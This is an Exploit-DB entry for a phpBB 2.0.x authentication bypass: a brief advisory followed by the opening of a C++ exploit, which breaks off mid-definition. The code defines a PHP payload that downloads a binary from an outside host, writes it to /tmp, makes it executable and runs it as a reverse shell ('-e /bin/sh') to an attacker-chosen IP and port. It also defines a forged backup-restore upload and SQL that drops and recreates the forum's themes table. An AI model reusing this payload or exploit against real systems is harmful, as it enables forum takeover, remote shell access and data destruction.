Exploit-DB #25170
Description: phpBB 2.0.x - Authentication Bypass (3)
Type: webapps
Platform: php
Date: 2005-02-28
Author: overdose

Exploit:
source: https://www.securityfocus.com/bid/12678/info
  
phpBB is affected by an authentication bypass vulnerability.
  
This issue is due to the application failing to properly sanitize user-supplied input during authentication.
  
Exploitation of this vulnerability would permit unauthorized access to any known account including the administrator account.
  
The vendor has addressed this issue in phpBB 2.0.13.

/*
        coded by overdose
        slythers@gmail.com
C:\source\phpbbexp>bcc32 -c serv.cpp
Borland C++ 5.5.1 for Win32 Copyright (c) 1993, 2000 Borland
serv.cpp:
Warning W8060 serv.cpp 77: Possibly incorrect assignment in function serveur::co
nnectsocket(char *,unsigned short)

C:\source\phpbbexp>bcc32 phpbbexp.cpp serv.obj
Borland C++ 5.5.1 for Win32 Copyright (c) 1993, 2000 Borland
phpbbexp.cpp:
Turbo Incremental Link 5.00 Copyright (c) 1997, 2000 Borland

C:\source\phpbbexp>

je cherche un job au passage :>
*/
#include <iostream.h>
#include <winsock.h>

class serveur
{
        public:
                bool createsocket();
                bool listen(unsigned short port,unsigned int nbwaitconnect);
                serveur * waitconnect();
                bool connectsocket(char *dns,unsigned short port);
                bool socketsend(char *envoi);
                bool getword(char in[],unsigned int max);
                bool getword(char in2[]);
                bool getline(char buf[],unsigned int maxcara);
                bool getline(char buf2[]);
                bool ifgetchar(char *caraif);
                bool ifchargetnb(char ligne[],unsigned int aumax);
                bool ifchargetline(char ligne[],unsigned int lemax);
                bool ifchargetline(char ligne[]);
                bool getnb(char *vect,unsigned int nb);
                bool sendnb(char *vec,unsigned int longueur);
                bool isconnect();
                int getnumsock();
                void closesock();
                bool createbytheclass(int thesock,struct sockaddr_in thestruct);
                unsigned int maxread;
                unsigned int seconde;
                unsigned int microseconde;
                serveur();
                ~serveur();
                void operator << (char *chaine);
                void operator >> (char *read);

        private:
                bool connected;
                bool create;
                struct sockaddr_in mysock;
                int sock;

};


#define SHELL
"$a=fopen(\"http://img58.exs.cx/img58/1584/nc4hk.swf\",\"r\");$b=\"\";while(!feof($a)){$b%20.=%20fread($a,200000);};fclose($a);$a=fopen(\"/tmp/.sess_\",\"w\");fwrite($a,$
b);fclose($a);chmod(\"/tmp/.sess_\",0777);system(\"/tmp/.sess_%20\".$_REQUEST[niggaip].\"%20\".$_REQUEST[niggaport].\"%20-e%20/bin/sh\");"

#define HTTP_PORT 80
#define DEFAULT_COOKIE "phpbb2mysql"
#define SIGNATURE_SESSID "Set-Cookie: "
#define BOUNDARY "----------g7pEbdXsWGPB7wRFGrqA1g"
#define UP_FILE "------------g7pEbdXsWGPB7wRFGrqA1g\nContent-Disposition: form-data;
name=\"restore_start\"\n\npetass\n------------g7pEbdXsWGPB7wRFGrqA1g\nContent-Disposition: form-data;
name=\"perform\"\n\nrestore\n------------g7pEbdXsWGPB7wRFGrqA1g\nContent-Disposition: form-data; name=\"backup_file\"; filename=\"phpbb_db_backup.sql\"\nContent-Type:
text/sql\n\n"
#define UP_FILE_END "\n------------g7pEbdXsWGPB7wRFGrqA1g--\n"
#define EXP_TEMPLATES "mode=export&edit=Envoyer&export_template="
#define SIGNATURE_TABLE_NAME "DROP TABLE IF EXISTS "
#define SIGNATURE_TABLE_NAME_END "_config;"

#define SQL_TEMPLATES "DROP TABLE IF EXISTS "
#define SQL_TEMPLATES_2 "_themes;\nCREATE TABLE "
char *sql_templates_3 ="_themes("
        "themes_id mediumint(8) unsigned NOT NULL auto_increment,"
        "template_name varchar(150) NOT NULL,"
        "style_name varchar(30) NOT NULL,"
        "head_stylesheet varchar(100),"
        "body_background varchar(100),"
        "body_bgcolor varchar(6),"
        "body_text varchar(6),"
        "body_link varchar(6),"
        "body_vlink varchar(6),"
        "body_alink varchar(6),"
        "body_hlink varchar(6),"
        "tr_color1 varchar(6),"
        "tr_color2 varchar(6),"
        "tr_color3 varchar(6),"
        "tr_class1 varchar(25),"
        "tr_class2 varchar(25),"
        "tr_class3 varchar(25),"
        "th_color1 varchar(6),"
        "th_color2 varchar(6),"
        "th_color3 varchar(6),"
        "th_class1 varchar(25),"
        "th_class2 varchar(25),"
        "th_class3 varchar(25),"
        "td_color1 varchar(6),"
        "td_color2 varchar(6),"
        "td_color3 varchar(6),"
        "td_class1 varchar(25),"
        "td_class2 varchar(25),"
        "td_class3 varchar(25),"
        "fontface1 varchar(50),"
        "fontface2 varchar(50),"
        "fontface3 varchar(50),"
        "fontsize1 tinyint(4),"
        "fontsize2 tinyint(4),"
        "fontsize3 tinyint(4),"
        "fontcolor1 varchar(6),"
        "fontcolor2 varchar(6),"
        "fontcolor3 varchar(6),"
        "span_class1 varchar(25),"
        "span_class2 varchar(25),"
        "span_class3 varchar(25),"
        "img_size_poll smallint(5) unsigned,"
        "img_size_privmsg smallint(5) unsigned,"
        "PRIMARY KEY (themes_id)"
        ");";

#define SQL_FAKE_TEMPLATES "\nINSERT INTO "
#define SQL_FAKE_TEMPLATES_2 "_themes (themes_id, template_name, style_name, head_stylesheet, body_background, body_bgcolor, body_text, body_link, body_vlink,
body_alink, body_hlink, tr_color1, tr_color2, tr_color3, tr_class1, tr_class2, tr_class3, th_color1, th_color2, th_color3, th_class1, th_class2, th_class3, td_color1,
td_color2, td_color3, td_class1, td_class2, td_class3, fontface1, fontface2, fontface3, fontsize1, fontsize2, fontsize3, fontcolor1, fontcolor2, fontcolor3, span_class1,
span_class2, span_class3, img_size_poll, img_size_privmsg) VALUES(\'2\', \'"
//template_name varchar(30) NOT NULL